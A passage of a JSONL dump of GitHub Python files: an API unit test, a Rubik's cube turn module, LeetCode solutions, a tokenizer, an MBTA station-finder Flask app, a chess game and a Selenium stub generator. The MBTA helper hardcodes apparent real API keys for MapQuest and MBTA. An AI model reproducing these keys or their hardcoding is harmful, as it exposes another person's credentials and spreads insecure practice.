http_status.HTTP_200_OK\n    dictionary = json.loads(rv.data)\n    example = {\n        'corpAdminEmail': None,\n        'corpDeliveryAddr': 'PO Box 273, Beiseker, AB',\n        'corpMailingAddr': 'PO Box 273, Beiseker, AB',\n        'corpNme': 'Bank of Montreal',\n        'corpNum': '3756789012',\n        'corpPartyEmail': None,\n        'corpPartyId': 22,\n        'corpTypCd': 'A',\n        'deliveryAddr': 'PO Box 273, Beiseker, AB',\n        'firstNme': 'Iarslov',\n        'fullDesc': 'Notice of Change of Address',\n        'lastNme': 'Steele',\n        'mailingAddr': 'PO Box 273, Beiseker, AB',\n        'middleNme': None,\n        'partyTypCd': 'DIR',\n    }\n\n    # The exact record above may differ depending on IDs, verify just the field names.\n    for key in example:\n        assert key in dictionary\n\n\n# This API seems to be gone.\n# def test_get_director_officesheld(client, jwt, session):\n#     \"\"\"Check the offices-held service.\"\"\"\n#     headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.no_role)\n\n#     rv = client.get('/api/v1/directors/22/offices', headers=headers, content_type='application/json')\n\n#     assert rv.status_code == http_status.HTTP_200_OK\n\n#     dictionary = json.loads(rv.data)\n\n#     assert 'offices' in dictionary\n#     assert 'sameAddr' in dictionary\n#     assert 'sameNameAndCompany' in dictionary\n\n\ndef test_search_directors(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that directors can be searched via GET.\"\"\"\n    dictionary = _dir_search(\n        client,\n        jwt,\n        '?field=firstNme&operator=contains&value=ad&mode=ALL&page=1&sort_type=dsc&'\n        'sort_value=lastNme&&additional_cols=addr',\n    )\n    assert len(dictionary['results']) == 3\n\n    example = {\n        'addr': 'PO Box 273',\n        'appointmentDt': 'Sun, 20 Oct 2019 00:00:00 GMT',\n        'cessationDt': 'Sun, 20 Oct 2019 00:00:00 GMT',\n        'corpNme': 'Bank of Montreal',\n        'corpNum': '3756789012',\n        'corpPartyId': 22,\n        'firstNme': 'Iarslov',\n        'lastNme': 'Steele',\n        'middleNme': None,\n        'partyTypCd': 'DIR',\n        'postalCd': 'T0M 0G0',\n    }\n\n    for key in example:\n        assert key in dictionary['results'][0]\n\n\ndef test_get_corporation_unauthorized_user_returns_403(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that an corporation cannot be retrieved without an authorization header.\"\"\"\n    # TODO: enable this once claims are being assigned by the auth system, so we can verify them.\n    # headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.no_role)\n    # rv = client.get('/api/v1/directors/', headers=headers, content_type='application/json')\n    # assert rv.status_code == http_status.HTTP_403_FORBIDDEN\n\n\ndef test_get_corporation_no_auth_returns_401(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that an corporation cannot be retrieved without an authorization header.\"\"\"\n    headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.invalid)\n\n    rv = client.get('/api/v1/directors/', headers=headers, content_type='application/json')\n\n    assert rv.status_code == http_status.HTTP_401_UNAUTHORIZED\n","repo_name":"bcgov/sbc-search","sub_path":"search-api/tests/unit/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":9271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"29899209585","text":"'''\n##turn.py\nThis module has two classes, Turn and TurnSequence. A Turn represents a \nsingle move that can be used to manipulate a cube with any arbitrary \nside length > 1. A TurnSequence is a list object that specifically holds \nTurn objects and can produce their own inverses, i.e., a given TurnSequence \nA can return a TurnSequence B that undoes A. They can also produce\nrandom turn scrambles.\n'''\n\nfrom random import choice, randrange\n\nclass Turn():\n    \"\"\"Represent an arbitrary Turn with a given face, direction, and\n    depth.\n    \"\"\"\n    directions = ('', '2', '\\'')\n    faces = ('F', 'R', 'U', 'D', 'L', 'B')\n    axes = ('x', 'y', 'z')\n    slices = ('M', 'S', 'E')\n    moves = faces + axes + slices\n    lower_faces = [s.lower() for s in faces]\n\n    def __init__(self, move, direction = '', depth = 0):\n        \"\"\"Initialize a Turn with a given move, direction, and depth.\n        If a string of notation is given instead of a move,\n        initialize the Turn based on the notation.\n        \"\"\"\n        if move in Turn.moves:\n            self.move, self.direction = move, direction\n\n            if move in Turn.faces:\n                self.depth = depth if depth else 1\n            else:\n                self.depth = 0\n        elif any(s in Turn.lower_faces for s in move) or 'w' in move:\n            move = move.replace('w', '')\n            move = move.upper()\n\n            face = list(set(move) & set(Turn.moves))[0]\n            suffix = move[move.index(face)+1:]\n            prefix = move[:move.index(face)]\n\n            if suffix == \"2'\" or suffix == \"'2\":\n                suffix = '2'\n\n            self.move = face\n            self.direction = suffix if suffix in Turn.directions else ''\n            self.depth = int(prefix) if len(prefix) else 2\n        else:\n            face = list(set(move) & set(Turn.moves))[0]\n            suffix = move[move.index(face)+1:]\n            prefix = move[:move.index(face)]\n\n            if suffix == \"2'\" or suffix == \"'2\":\n                suffix = '2'\n\n            self.move = face\n            self.direction = suffix if suffix in Turn.directions else ''\n            self.depth = int(prefix) if len(prefix) else 1\n\n    def __eq__(self, other):\n        \"\"\"Return true if the given Turns have the same move,\n        direction, and depth.\n        \"\"\"\n        return str(self) == str(other)\n\n    def opposite_face(self):\n        \"\"\"Return the face opposite the face of this Turn.\n        If the Turn is a slice or rotation, return its own move.\n        \"\"\"\n        if self.move in Turn.faces:\n            return Turn.faces[-Turn.faces.index(self.move) - 1]\n        else:\n            return self.move\n\n    def opposite_direction(self):\n        \"\"\"Return the face opposite direction of this Turn.\"\"\"\n        return Turn.directions[-Turn.directions.index(self.direction)-1]\n\n    def inverse(self):\n        \"\"\"Return the Turn that undoes this one.\"\"\"\n        return Turn(self.move, self.opposite_direction(), self.depth)\n\n    @staticmethod\n    def random_turn(size = 3):\n        \"\"\"Return a Turn with a random face, direction, and depth\n        less than or equal to half the given cube dimension.\n        \"\"\"\n        return Turn(choice(Turn.faces), choice(Turn.directions), randrange(size//2)+1)\n\n    def __str__(self):\n        \"\"\"Return this turn using WCA notation.\"\"\"\n        ret = ''\n        if self.depth >= 2:\n            ret += str(self.depth)\n        ret += self.move\n        if self.depth >= 2:\n            ret += 'w'\n        ret += self.direction\n\n        return ret\n\n    def __repr__(self):\n        \"\"\"Return the move, direction, and depth of this Turn clearly\n        defined and separated.\n        \"\"\"\n        return 'Turn(move=%s, direction=%s, depth=%s)' % (self.move, self.direction, self.depth)\n\n","repo_name":"xanxerus/termcube","sub_path":"termcube/cube/turn.py","file_name":"turn.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"44093250142","text":"\nclass Solution:\n    def shortestToChar(self, s: str, c: str):\n        res = []\n        pos = -len(s)\n        for i in range(len(s)):\n            if s[i] == c:\n                pos = i\n            res.append(i - pos) \n        for i in range(pos - 1, -1, -1):\n            if s[i] == c:\n                pos = i\n            res[i] = min(res[i], pos - i)\n        return res\ndef main():\n    #s = \"loveleetcode\"\n    s = \"aaba\"\n    c = \"b\"\n    print(Solution().shortestToChar(s, c))\n\nmain()\n","repo_name":"Luwei-Lin/LeetCode","sub_path":"LC/Python/LC0821_shorteds_distance2aChar.py","file_name":"LC0821_shorteds_distance2aChar.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"1940890962","text":"import sys\n\n\n# rawdata = 'Licenciatura en Matemáticas, Ingeniería Biomédica, Ingeniería Industrial'\n\ndictionary_concepts_programs = {'Arquitectura' : ['enseñanza', 'arquitectura', 'ciudad', 'responsabilidad', 'producción'],\n\t\t\t\t\t\t\t\t'Literatura' : ['literatura', 'atención', 'disciplinar', 'hispánico', 'tradición'],\n\t\t\t\t\t\t\t\t'Física' : ['interés', 'mentalidad', 'física', 'método', 'principio'],\n\t\t\t\t\t\t\t\t'Licenciatura en Humanidades' : ['relación', 'texto', 'humanidades', 'elección', 'interpretación'],\n\t\t\t\t\t\t\t\t'Medicina' : ['médico', 'principio', 'sociedad', 'colega', 'aproximación'],\n\t\t\t\t\t\t\t\t'Licenciatura en Matemáticas' : ['matemáticas', 'licenciatura', 'proyecto', 'evaluador', 'diseñador'],\n\t\t\t\t\t\t\t\t'Ingeniería Biomédica' : ['biomédico', 'ingeniero', 'farmacéuticos', 'hospitales', 'equipar'],\n\t\t\t\t\t\t\t\t'Ingeniería Industrial' : ['industrial', 'producción', 'gestión', 'empresa', 'ingeniería'],\n\t\t\t\t\t\t\t\t'Gobierno y Asuntos Públicos': ['sector', 'gestión', 'asuntos', 'públicos', 'gobierno'],\n\t\t\t\t\t\t\t\t'Ingeniería Electrónica' : ['sistema', 'servicio', 'electrónico', 'ingeniero', 'tratamiento'],\n\t\t\t\t\t\t\t\t'Contaduría Internacional' : ['organización', 'contaduría', 'internacional', 'estándar', 'negocio'],\n\t\t\t\t\t\t\t\t'Psicología' : ['psicología', 'psicólogo', 'universidad', 'prestigiar', 'aporte'],\n\t\t\t\t\t\t\t\t'Administración' : ['administración', 'personar', 'estudiante', 'oportunidad', 'organización'],\n\t\t\t\t\t\t\t\t'Geociencias' : ['geocientífico', 'geocientíficos', 'necesidad', 'recurso', 'ambientar'],\n\t\t\t\t\t\t\t\t'Economía' : ['economía', 'público', 'cargo', 'nivel', 'sector'],\n\t\t\t\t\t\t\t\t'Música' : ['músico', 'composición', 'práctico', 'cámara', 'cine'],\n\t\t\t\t\t\t\t\t'Lenguas y Cultura' : ['lengua', 'campar', 'formación', 'culturales', 'perfil'],\n\t\t\t\t\t\t\t\t'Licenciatura en Educación para la Primera Infancia' : ['educación', 'año', 'infancia', 'primera', 'licenciado'],\n\t\t\t\t\t\t\t\t'Química' : ['interés', 'teoría', 'proceso', 'conocimiento', 'entorno'],\n\t\t\t\t\t\t\t\t'Biología' : ['ciencia', 'nivel', 'buscar', 'biología', 'sólido'],\n\t\t\t\t\t\t\t\t'Ingeniería Química' : ['ingeniería', 'química', 'producto', 'proceso', 'procesar'],\n\t\t\t\t\t\t\t\t'Derecho' : ['nación', 'abogado', 'general', 'habilidad', 'formar'],\n\t\t\t\t\t\t\t\t'Ciencia Política' : ['interesar', 'ciencia', 'gubernamentales', 'rama', 'politólogos'],\n\t\t\t\t\t\t\t\t'Ingeniería de Sistemas y Computación' : ['sistema', 'computación', 'sistemas', 'calidad', 'información'],\n\t\t\t\t\t\t\t\t'Ingeniería Mecánica' : ['actividad', 'ingeniería', 'profesional', 'mecánica', 'cabo'],\n\t\t\t\t\t\t\t\t'Microbiología' : ['producto', 'control', 'microbiología', 'mejoramiento', 'aspecto'],\n\t\t\t\t\t\t\t\t'Historia' : ['historia', 'gestión', 'docencia', 'universidad', 'recuperación'],\n\t\t\t\t\t\t\t\t'Licenciatura en Ciencias Naturales' : ['ciencia', 'currículo', 'joven', 'aula', 'adulto'],\n\t\t\t\t\t\t\t\t'Licenciatura en Ciencias Sociales' : ['competencia', 'sociales', 'profundización', 'ciencias', 'filosofía'],\n\t\t\t\t\t\t\t\t'Ingeniería Eléctrica' : ['telecomunicación', 'sector', 'sistema', 'servicio', 'eléctrico'],\n\t\t\t\t\t\t\t\t'Arte' : ['arte', 'contexto', 'medio', 'espacio', 'pregrado'],\n\t\t\t\t\t\t\t\t'Licenciatura en Artes' : ['licenciados', 'artes', 'experiencia', 'situación', 'estudiante'],\n\t\t\t\t\t\t\t\t'Historia del Arte' : ['arte', 'historia', 'museo', 'historiador', 'profesor'],\n\t\t\t\t\t\t\t\t'Diseño' : ['contemporaneidad', 'creatividad', 'entornar', 'diseño', 'ideación'],\n\t\t\t\t\t\t\t\t'Filosofía' : ['filosofía', 'formación', 'egresar', 'publicidad', 'pensador'],\n\t\t\t\t\t\t\t\t'Antropología' : ['antropología', 'análisis', 'arqueología', 'recolección', 'antropólogo'],\n\t\t\t\t\t\t\t\t'Ingeniería Ambiental' : ['ambiental', 'empresa', 'ingeniero', 'ingeniería', 'capacidad'],\n\t\t\t\t\t\t\t\t'Matemáticas' : ['alguno', 'matemáticas', 'docencia', 'país', 'estudio'],\n\t\t\t\t\t\t\t\t'Ingeniería Civil' : ['civil', 'empresa', 'ingeniero', 'ingeniería', 'proyecto']}\n\ndef main(rawdata):\n\t'Main program'\n\n\tprograms = my_string(rawdata)\n\tconcepts = findConcepts(programs)\n\tprint (concepts)\n\treturn concepts\n\n\ndef my_string(rawdata):\n\t'take a rawdata to transform in list'\n\n\tmy_string = rawdata\n\tresult = [x.strip() for x in my_string.split(',')]\n\n\treturn result\n\n\n\ndef findConcepts(programs):\n\t'Find concepts asociate with the program'\n\t# print (\"Called python method 'findConcepts', with inputData: \", programs)\n\tconcepts = []\n\n\tfor program in programs:\n\t\n\t\tfor concept in dictionary_concepts_programs[program]:\n\t\t\tconcepts.append(concept)\n\n\treturn concepts\n\n\n\nif __name__ == '__main__':\n\tmain(rawdata)\n\t# main(sys.argv[1])","repo_name":"JohannaOrozco/recomendador","sub_path":"tesisjoha/recomendadorOld/findConcepts.py","file_name":"findConcepts.py","file_ext":"py","file_size_in_byte":4576,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"35949562968","text":"#use word2vec to tokenize the Japanese auther's arts\n#download the files from Aozorabunko is necessarry\nimport os, re\nfrom janome.tokenizer import Tokenizer\n\n#Morphological analysis\ndef tokenize(text):\n    t = Tokenizer()\n    #delete header and footer\n    text = re.split(r'\\-{5,}',text)[2]\n    text = re.split(r'底本:',text)[0]\n    text = text.strip()\n    #delete kana(japanese character)\n    text = text.replace('|','')\n    text = re.sub(r'《.+?》','',text)\n    #delete comments\n    text = re.sub(r'[#.+?]','',text)\n    #process a line and a line\n    lines = text.split(\"\\r\\n\")\n    results = []\n    for line in lines:\n        res = []\n        tokens = t.tokenize(line)\n        for tok in tokens:\n            bf = tok.base_form\n            if bf == \"*\": bf = tok.surface\n            ps = tok.part_of_speech\n            hinsi = ps.split(',')[0]\n            if hinsi in ['名詞','動詞','形容詞','記号']:#add other parts, if you want to split sentences more types\n                res.append(bf)\n        l = \" \".join(res)\n        results.append(l)\n    return results\n\n#make dictionary type data\nperson = ['       ']# fill the space \nsakuhin_count = {}\nfor p in person:\n    person_dir = \"./text/\" +p\n    sakuhin_count[p] = 0\n    results = []\n    for sakuhin in os.listdir(person_dir):\n        print(p,sakuhin)\n        sakuhin_count[p] += 1\n        sakuhin_file = person_dir + \"/\" + sakuhin\n        try:\n            #read the file of Shift_JIS\n            bindata = open(sakuhin_file,\"rb\").read()\n            text = bindata.decode(\"shift_jis\")\n            lines = tokenize(text)\n            results += lines\n        except Exception as e:\n            print(\"[error]\", sakuhin_file,e)\n            continue\n    #save it as file\n    fname = \"./text/\" + p + \".wakati\"\n    with open(fname, \"w\", encoding=\"utf-8\") as f:\n        f.write(\"\\n\".join(results))\n    print(p)\n\nprint(\"作品数:\",sakuhin_count)\n","repo_name":"Yutaro-Bob/natural-language-processing","sub_path":"tokenize.py","file_name":"tokenize.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"37946503298","text":"# Your API KEYS (you need to use your own keys - very long random characters)\n\nfrom urllib import response\nimport urllib.request\nimport json\nimport pprint\nfrom flask import Flask, render_template\nfrom flask import request\nfrom numpy import place \n\n# Useful URLs (you need to add the appropriate parameters for your requests)\nMAPQUEST_BASE_URL = \"http://www.mapquestapi.com/geocoding/v1/address\"\n\nMBTA_BASE_URL = \"https://api-v3.mbta.com/stops\"\n\n\n# A little bit of scaffolding if you want to use it\n\n\ndef get_jason(location):\n    location=location.replace(\" \",\"%20\")\n    location=location+\",Boston,MA\"\n    KEY = '6nEiWyNdVHBzlbSojpQr7LtNrf8q7z8N'\n    url = f'http://www.mapquestapi.com/geocoding/v1/address?key={KEY}&location={location}'\n    f = urllib.request.urlopen(url)\n    response_text = f.read().decode('utf-8')\n    response_data = json.loads(response_text)\n    # pprint.pprint(response_data)\n    return response_data\n    \"\"\"\n    Given a properly formatted URL for a JSON web API request, return\n    a Python JSON object containing the response to that request.\n\n    Both get_lat_long() and get_nearest_station() might need to use this function.\n    \"\"\"\n# get_jason(\"Boston Common,MA\")\n\n\ndef get_lat_long(place_name):\n    jsondic=get_jason(place_name)\n    lat=jsondic[\"results\"][0][\"locations\"][0][\"latLng\"][\"lat\"]\n    lng=jsondic[\"results\"][0][\"locations\"][0][\"latLng\"][\"lng\"]\n    city=jsondic[\"results\"][0][\"locations\"][0][\"adminArea5\"]\n    print(f\"{place_name} in Boston, MA's latitude is {lat} and the lontitude is {lng}\")\n    return((lat,lng))\n    \"\"\"\n    Given a place name or address, return a (latitude, longitude) tuple\n    with the coordinates of the given place.\n    See https://developer.mapquest.com/documentation/geocoding-api/address/get/\n    for Mapquest Geocoding API URL formatting requirements.\n    \"\"\"\nget_lat_long(\"Boston Common\")\n\n\ndef get_nearest_station(place_name):\n    lat=str(get_lat_long(place_name)[0])##in North\n    lng=str(get_lat_long(place_name)[1]) ## in East\n    Key=\"95406228c02b44e89e44a494c54ae7e9\"\n    url = f'https://api-v3.mbta.com/stops?api_key={Key}&sort=distance&filter%5Blatitude%5D={lat}&filter%5Blongitude%5D={lng}'\n    f = urllib.request.urlopen(url)\n    response_text = f.read().decode('utf-8')\n    response_text=json.loads(response_text)\n    # pprint.pprint(response_text)\n    return(response_text)\n\n    \"\"\"\n    Given latitude and longitude strings, return a (station_name, wheelchair_accessible)\n    tuple for the nearest MBTA station to the given coordinates.\n    See https://api-v3.mbta.com/docs/swagger/index.html#/Stop/ApiWeb_StopController_index for URL\n    formatting requirements for the 'GET /stops' API.\n    \"\"\"\n\nget_nearest_station(\"The Boston Common\")\n\ndef find_stop_near(place_name):\n    jasonstops=get_nearest_station(place_name)\n    neareststaion=jasonstops[\"data\"][0][\"attributes\"][\"name\"]\n    ifaccessable=jasonstops[\"data\"][0][\"attributes\"][\"wheelchair_boarding\"]\n    print(f'the nearest station is {neareststaion}')\n\n    if ifaccessable==0:\n        iswheelchair='No wheelchair accessibility information is provided.'\n    if ifaccessable==1:\n        iswheelchair='The stop is wheelchair is accessable'\n    else:\n        iswheelchair='This stop is not wheelchair accesible'\n    print(iswheelchair)\n    return(neareststaion,iswheelchair)\n    \n\n    \"\"\"\n    Given a place name or address, return the nearest MBTA stop and whether it is wheelchair accessible.\n\n    This function might use all the functions above.\n\n    \"\"\"\n\n    \napp = Flask(__name__)\n@app.route('/', methods=['GET', 'POST'])\ndef main():\n    if request.method == \"POST\":\n        place_name = request.form['place_name']\n        neareststation = find_stop_near(place_name)[0]\n        iswheelchair=find_stop_near(place_name)[1]\n        return render_template('mbta_station_result.html',place_name=place_name, neareststation=neareststation,iswheelchair=iswheelchair)\n    else:\n        return render_template(\"mbta_station.html\")\n\n\n\nif __name__ ==\"__main__\":\n    app.run(debug=True)\n    main()\n","repo_name":"Weiyeahh/Assignment-3","sub_path":"mbta_helper.py","file_name":"mbta_helper.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"20472806588","text":"# <filename>.py\n# Antenna Gain Pattern for <Insert Name Here> \n# Author: <name>\n# Link to antenna pattern document:\n# <insert link>\nimport numpy as np\n\n# This function returns the co-polar gain of the antenna pattern\n# The input is np array containing mirrored degress, \n# from 0 to 180 back down to 0\ndef pattern_mirrored(mirrored):\n    return np.piecewise(mirrored,\n                [ \n                    mirrored <= 22, \n                    (mirrored < 80) & (mirrored > 22),\n                    (mirrored < 110) & (mirrored > 80),\n                    (mirrored <= 180) & (mirrored > 110)\n                ],\n                [\n                    lambda mirrored: 14-10*(mirrored/19)**2,\n                    0,\n                    lambda mirrored: 16/900 * (mirrored - 110)**2 - 16,\n                    -16\n                ])\n","repo_name":"mrcheeseburger6/VIP_ERS","sub_path":"Extra and Previous Code/pattern_template.py","file_name":"pattern_template.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"44688875395","text":"# Url: https://leetcode.com/problems/ambiguous-coordinates/\n# Related Topics:\n# String\n\n# Example:\n# Input: \"(0123)\"\n# Output: [\"(0, 123)\", \"(0, 12.3)\", \"(0, 1.23)\", \"(0.1, 23)\", \"(0.1, 2.3)\", \"(0.12, 3)\"]\n\n\nclass Solution:\n    def ambiguousCoordinates(self, S):\n        \"\"\"\n        :type S: str\n        :rtype: List[str]\n        \"\"\"\n        def generate_number(s):\n            gen = []\n            if s[0] != '0' or len(s) == 1:\n                gen.append(s)\n                \n            for i in range(1, len(s)):\n                f = s[:i] + '.' + s[i:]\n                if f[-1] != '0' and (f[0] != '0' or i == 1):\n                    gen.append(f)\n            return gen\n        \n        ans = []\n        S = S[1:-1]\n        for i in range(1, len(S)):\n            left, right = S[:i], S[i:]\n            left_num = generate_number(left)\n            right_num = generate_number(right)\n            for l in left_num:\n                for r in right_num:\n                    ans.append('(%s, %s)' % (l, r))\n        return ans","repo_name":"EVASHINJI/LeetCode","sub_path":"Daily/816 Ambiguous Coordinates.py","file_name":"816 Ambiguous Coordinates.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"20278513429","text":"import pygame\n\nfrom entities import *\nfrom display_tools import *\nfrom pygame.locals import *\nfrom entities import Color as entities_color\nfrom chess import Chess\nfrom piece import *\n\n\nchess = Chess()\n# printBoard(chess.board)\nchess.selected((\"e\", 1), chess.board)\nchess.selected((\"e\", 3), chess.board)\nchess.selected((\"f\", 6), chess.board)\nchess.selected((\"f\", 4), chess.board)\nchess.selected((\"f\", 0), chess.board)\nchess.selected((\"e\", 1), chess.board)\nchess.selected((\"g\", 6), chess.board)\nchess.selected((\"g\", 4), chess.board)\nchess.selected((\"e\", 1), chess.board)\nchess.selected((\"h\", 4), chess.board)\ngameOver, message = chess.testGameOver()\n# print(f\"gameOver = {gameOver}\\n{message}\")\npygame.display.set_caption(TITLE)\nscreen = pygame.display.set_mode(SCREEN)\nprint(BOARD_PADDING)\n\n# load images\npieces_images: dict[entities_color, dict] = dict()\npieces_images[entities_color.WHITE] = dict()\npieces_images[entities_color.BLACK] = dict()\n\npieces_images[entities_color.WHITE][Pawn.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/w_pawn_png_128px.png\"\n)\npieces_images[entities_color.BLACK][Pawn.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/b_pawn_png_128px.png\"\n)\n\npieces_images[entities_color.WHITE][Rook.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/w_rook_png_128px.png\"\n)\npieces_images[entities_color.BLACK][Rook.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/b_rook_png_128px.png\"\n)\n\npieces_images[entities_color.WHITE][Bishop.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/w_bishop_png_128px.png\"\n)\npieces_images[entities_color.BLACK][Bishop.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/b_bishop_png_128px.png\"\n)\n\npieces_images[entities_color.WHITE][Knight.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/w_knight_png_128px.png\"\n)\npieces_images[entities_color.BLACK][Knight.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/b_knight_png_128px.png\"\n)\n\npieces_images[entities_color.WHITE][King.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/w_king_png_128px.png\"\n)\npieces_images[entities_color.BLACK][King.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/b_king_png_128px.png\"\n)\n\npieces_images[entities_color.WHITE][Queen.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/w_queen_png_128px.png\"\n)\npieces_images[entities_color.BLACK][Queen.__name__] = pygame.image.load(\n    f\"{IMG_LOC}/b_queen_png_128px.png\"\n)\n\n\nfor color in entities_color:\n    for pieces_key in pieces_images[color]:\n        pieces_images[color][pieces_key] = pygame.transform.scale(\n            pieces_images[color][pieces_key], (PIECE_LEN, PIECE_LEN)\n        )\n\n\n# initialisations\n\n\npygame.init()\n\nrunning = True\n\nwhile running:\n    # set the background color\n    screen.fill(WIN_BACKGROUND)\n    # set the play zone background color\n    pygame.draw.rect(screen, BOARD_BG, BOARD_RECT)\n\n    # display the game\n    for i in range(len(COLUMN)):\n        for j in range(CHESS_SIZE):\n            position = chess.board[COLUMN[i]][j]\n            boxColor = LIGHT_BOX_BG if not (i + j) % 2 else DARK_BOX_BG\n            blit_box(position, boxColor, screen)\n\n            # position_x = int(BOARD_X + BOARD_PADDING / 2 + i * BOX_LEN)\n            # position_y = int(BOARD_Y + BOARD_PADDING / 2 + j * BOX_LEN)\n            # box_rect = position_x, position_y, BOX_LEN, BOX_LEN\n            # pygame.draw.rect(screen, box_color, box_rect)\n    for color in entities_color:\n        for piece in chess.pieces[color.name]:\n            line = piece.position.line\n            column = piece.position.column\n            position_x = int(\n                BOARD_X + BOARD_PADDING / 2 + column * BOX_LEN + BOX_PADDING / 2\n            )\n            position_y = int(\n                BOARD_H\n                + BOARD_Y\n                - BOARD_PADDING / 2\n                - (line + 1) * BOX_LEN\n                + BOX_PADDING / 2\n            )\n            screen.blit(\n                pieces_images[color][piece.__class__.__name__], (position_x, position_y)\n            )\n    pygame.display.update()\n    for event in pygame.event.get():\n        if event.type == QUIT:\n            running = False\n        if event.type == MOUSEBUTTONDOWN:\n            position = pygame.mouse.get_pos()\n            print(position)\n            position = getCaseIndex(position, chess.board)\n            print(type(chess.board))\n            print(position)\n            chess.selected(position, chess.board)\n            print(chess.gameOver)\n            if chess.gameOver:\n                print(\"game over\")\n\n                pygame.display.set_caption(chess.message)\n\n\npygame.quit()\n","repo_name":"Vystii/python-chess","sub_path":"chess/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"18092934091","text":"import sys\nfrom datetime import timedelta\nfrom pathlib import Path\nfrom typing import Any\n\nfrom robotlibcore import KeywordBuilder  # type: ignore\n\nSRC_DIR = Path(\"./src\").absolute()\nsys.path.append(str(SRC_DIR))\nimport SeleniumLibrary  # noqa\n\n\ndef is_named_method(keyword_name: str) -> bool:\n    keyword_attribute = SL.attributes[keyword_name]\n    return (\n        keyword_attribute.robot_name is not None\n        and keyword_attribute.robot_name == keyword_name\n    )\n\n\ndef get_method_name_for_keyword(keyword_name: str) -> str:\n    if is_named_method(keyword_name):\n        for key in SL.attributes.keys():\n            if key != keyword_name and keyword_name == SL.attributes[key].robot_name:\n                return key\n    return keyword_name\n\n\ndef get_type_string_from_type(argument_type: type) -> str:\n    if hasattr(argument_type, \"__name__\"):\n        return argument_type.__name__\n    else:\n        arg_type_str = str(argument_type.__repr__()).lstrip(\"typing.\")\n        return arg_type_str.replace(\"NoneType\", \"None\")\n\n\ndef get_type_sting_from_argument(argument_string: str, argument_types: dict) -> str:\n    agrument_name = argument_string.lstrip(\"*\")\n    if agrument_name in argument_types:\n        return get_type_string_from_type(argument_types[agrument_name])\n    return \"\"\n\n\ndef get_function_list_from_keywords(keywords):\n    functions = list()\n    for keyword in keywords:\n        if keyword == \"switch_window\":\n            print(keyword)\n        method_name = get_method_name_for_keyword(keyword)\n        keyword_arguments = SL.get_keyword_arguments(keyword)\n        keyword_types = SL.get_keyword_types(keyword)\n        functions.append(keyword_line(keyword_arguments, keyword_types, method_name))\n    functions.sort()\n    last_function = functions.pop()\n    functions.append(last_function.rstrip())\n    return functions\n\n\ndef keyword_line(keyword_arguments, keyword_types, method_name):\n    arguments_list = list()\n    for argument in keyword_arguments:\n        if isinstance(argument, tuple):\n            arg_str = argument[0]\n            default_value = argument[1]\n            arg_type_str = get_type_sting_from_argument(arg_str, keyword_types)\n            if arg_type_str:\n                if default_value is None:\n                    arg_type_str = f\"Optional[{arg_type_str}]\"\n                if arg_type_str == \"str\" or arg_type_str == \"Union[list, str]\":\n                    default_value = f\"'{default_value}'\"\n                arg_str = arg_str + f\": {arg_type_str}\"\n            elif isinstance(default_value, str):\n                default_value = f\"'{default_value}'\"\n            elif isinstance(default_value, timedelta):\n                default_value = f\"timedelta(seconds={default_value.total_seconds()})\"\n            arg_str = f\"{arg_str} = {default_value}\"\n        else:\n            arg_str = argument\n            arg_type_str = get_type_sting_from_argument(arg_str, keyword_types)\n            if arg_type_str:\n                arg_str = arg_str + f\": {arg_type_str}\"\n        arguments_list.append(arg_str)\n    arguments_string = (\n        f\", {', '.join(arguments_list)}\" if len(arguments_list) > 0 else \"\"\n    )\n    return f\"    def {method_name}(self{arguments_string}): ...\\n\"\n\n\nSL: Any = SeleniumLibrary.SeleniumLibrary()\nFUNCTION_LIST = get_function_list_from_keywords(SL.get_keyword_names())\n\n\npyi_boilerplate = \"\"\"\\\nfrom datetime import timedelta\nfrom typing import Any, Optional, Union\n\nimport selenium\nfrom selenium.webdriver.remote.webdriver import WebDriver\nfrom selenium.webdriver.remote.webelement import WebElement\n\nclass SeleniumLibrary:\n\"\"\"\npyi_boilerplate_append = \"\"\"\n    def add_library_components(self, library_components): ...\n    def get_keyword_names(self): ...\n    def run_keyword(self, name: str, args: tuple, kwargs: Optional[dict] = None): ...\n    def get_keyword_arguments(self, name: str): ...\n    def get_keyword_tags(self, name: str): ...\n    def get_keyword_documentation(self, name: str): ...\n    def get_keyword_types(self, name: str): ...\n    def get_keyword_source(self, keyword_name: str): ...\n    def failure_occurred(self): ...\n    def register_driver(self, driver: WebDriver, alias: str): ...\n    @property\n    def driver(self) -> WebDriver: ...\n    def find_element(self, locator: str, parent: Optional[WebElement] = None): 